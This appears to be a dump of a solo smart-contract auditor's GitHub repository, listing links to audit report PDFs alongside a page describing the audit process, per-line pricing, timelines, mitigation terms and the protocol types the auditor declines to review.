/Solo/TakaDAO-referralGateway-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/TakaDAO-referralGateway-security-review.pdf
--------------------------------------------------------------------------------
/Solo/Venice-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/Venice-security-review.pdf
--------------------------------------------------------------------------------
/Solo/khuga-Labs-security-review.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/Solo/khuga-Labs-security-review.pdf
--------------------------------------------------------------------------------
/ask-for-audit.md:
--------------------------------------------------------------------------------
1 | ## Auditing Process
2 |
3 | My auditing process takes more than one phase, to improve the safeness of the protocol as much as I can.
4 |
5 | You can message me on [twitter](https://twitter.com/Al_Qa_qa), [discord](https://discord.com/channels/al_qa_qa), or [telegram](https://t.me/al_qa_qa) to ask for it.
6 |
7 | ### Pre-Audit Phase
8 | This process may take a few hours or a day at most, in this phase I go for the protocol and check its structure and code.
9 | - The degree of the decentralization of the protocol.
10 | - Code complexity.
11 | - Access control Logic.
12 |
13 | Then, I search for the common bugs like simple re-entrancy, unsafe casting, weird ERC20 case not handled, etc... this can give me an impression of how secure the protocol is (will it contain many bugs, or its robust codes and bugs will be less).
14 |
15 | Finally, I give the sponsor (protocol devs), my view of the protocol codebase, the common bugs that I found, and the price of the Audit (Yes this process is free for all Protocols).
16 |
17 | **NOTE:**
18 | - Some types of protocols we do not accept, can be found [here](#protocols-i-do-not-accept).
19 | - To know how much it will cost to audit your protocol check this [link](#pricing-and-duration).
20 |
21 | ### Auditing Phase
22 | This is the longest process, if We reach an agreement on the price and duration. The auditing proccess starts and it is as following:
23 | - I made a security review to the codebase.
24 | - When auditing, I can contact protocol devs to ask for something unclear, abnormal behavior, or an issue that I am not sure about.
25 | - After finishing, I submit All issues I found in GitRep/issues labeled by the severity of the issue.
26 | - Developers can discuss the issue's validity, severity, and anything related to it on the issue's page.
27 | - Developers will fix issues that have impacts and can Acknowledge some issues if they see it has no great impact.
28 |
29 | ### Post-Audit Phase
30 | After fixing the issues, I made another audit to the protocol to check for the issues mitigations.
31 | - Check that the issues are fixed successfully without introducing further issues.
32 | - Give my final thoughts about the Project.
33 | - Confirm if I see that the protocol is safe to go for Mainnet or do another audit is better before launching.
34 |
35 | This is how the auditing process occurs, Feel free to drop a message. And I will be more than happy to secure the protocol.
36 |
37 | ---
38 |
39 | ## Pricing And Duration
40 |
41 | ### Pricing:
42 |
43 | The price to audit the protocol depends on two different things
44 | 1. The number of solidity codes (the more the code the more expensive)
45 | 2. The code complexity (is there an integration with another protocol, heavy math, YUL code, ...)
46 |
47 | The price ranges between [6, 12] USDC per LOC based on https://github.com/Consensys/solidity-metrics
48 |
49 | The price per LOC is changed according to the complexity of the code.
50 |
51 | ### Duration:
52 |
53 | The duration is not a constant period for all protocols with the same SLOCs, where complexity changes, and conditions changes too. But In normal cases, here is a table of the durations of the protocol according to the SLOC, where it should not exceeds these periods.
54 |
55 | |SLOC|Duraiation|
56 | |:--:|:--------:|
57 | | SLOC <= 500 | 4 days|
58 | | 1000 >= SLOC > 500| 7 days|
59 | | 1500 >= SLOC > 1000| 10 day|
60 | | 2000 >= SLOC > 1500| 14 days|
61 |
62 | This duration may change from one protocol to another, but it is a good approximation.
63 |
64 | ---
65 |
66 | ## Important Things to know
67 | - The payment is fully delivered after Pre-Audit Phase, in case of aggrement the auditing process will only start afterthe price we agreed on gets delivered.
68 | - Mitigation process should not exceeds 2 Weeks (After finishing auditing process, mitigation process should take 2 weeks at max). If it takes longer than 2 weeks, A fine is applied.
69 | - The mitigation process, should fix only the issues found, any new features are not allowed to be added in mitigation review. in case of a new feature to be added, we take `12$` for each line (we calculate the lines including the feature only)
70 | - Mitigation should not require too much modifications. Most of the issues are mitigated by simply check to be added or something like that. But sometimes there may be an issue in the design itself, which requires changing the overall protocol structure. In case the mitigation is too complex, there is an additional quote for reviewing it. (like a mitigation of an issue that requirs adding `200` SLOC for example).
71 |
72 |
73 | ---
74 |
75 | ## Protocols I do not accept
76 |
77 | ### Protocols used for frauding and stealing
78 |
79 | If the protocol will be used to steal users funds, draining wallets, deceive users, then I will not accept to audit this protocol
80 |
81 | ### Gambling and Lottery Protocols
82 |
83 | I do not accept auditing protocols that deal with lottery and Gambling, like Casino protocols where people bid with their amount and they may be the winner.
84 |
85 | ### Lending/Borrowing with interest rate > 0
86 |
87 | Lending/Borrowing protocols like AAVE and Compound are one of the most famous protocols in the DeFi space, and they are being used a lot. In most of the cases, the Borrower will return the value he took from the Lender and pay fees for this.
88 | - For example, if he borrowed 100 ETH, he will pay 100.5ETH when giving it back to the Lender.
89 |
90 | This type of Lending/borrowing protocol, I do not accept them.
91 |
92 | If there is no fees (interest-rate) accumulated by the Lender, then I can accept the protocol.
93 |
94 | If you are not sure about your protocol type and interest rate mechanism, and its integrations. You can message me and I will give you weither I can accept it or not
95 |
96 | ### Leverage Protocols with fees paid to the Lender
97 |
98 | In most cases, if the protocol is dealing leverage I can't audit it. This includes levarage in borrowing/lending and leverage on trading.
99 |
100 | ### Perpetual/Options trading
101 |
102 | In the case of Forex perpetual/Option is done by simulating the buying and selling process. i.e. the user is not actually buying the tokens he wants, just the system records this.
103 |
104 | If the users are not actually taking there tokens when making a trade, and do not own it themselves, then I can not accept this protocol.
105 |
106 | **In Brief**
107 | - If the user owns the (tokens) position, this means he can either sell it, or transfer it to another one, and then I can accept the protocol.
108 | - If the user position is known using the Smart Contract storage, and users can not see their tokens value, nor transfer the position, and can only close the position from the Contract, then I can not accept the protocol.
109 |
110 | Some protocols are complex, and some protocols can integrate with other protocols that do one of the things we do not accept. So if you find that you are not sure about the protocol type, you can message me, and I will tell you wether I will be able to accept the protocol or not.
111 |
112 | ### Trading Protocols with Shorts
113 | If the protocol is like a trading protocol that implements shorting mechanism trading, we are not accepting it.
114 |
115 | ### Yield Farming Strategies
116 | if Yeild Farming protocol depends on Strategies or Vaults that gain profits from one of the protocol types I do not accept, then I do not accept the protocol.
117 |
118 | For example, if the protocol interacts with AAVE vault, then I can not accept the audit as AAVE vaults gain profit from lending/borrowing.
119 |
120 | ### Integrations
121 | If the protocol integrates with one of the protocol types that I do not accept, then I may not accept the audit, this depends on how it integrates with it.
122 |
123 | ## Disclaimer
124 |
125 | Smart Contract Auditing can not guarantee the safety of the protocol 100%. I try my best to find as many issues as I can that can put the protocol is an abnormal state. But I can not be sure that I found all issues and attacks that can occur.
126 |
--------------------------------------------------------------------------------
/engagments/2025-03-18-cyfrin-Metamask-DelegationFramework1-v2.0.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al-Qa-qa/audits/cb3ada07cb7c8a6c0be3bd54ee74c729a44285be/engagments/2025-03-18-cyfrin-Metamask-DelegationFramework1-v2.0.pdf
--------------------------------------------------------------------------------
/engagments/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------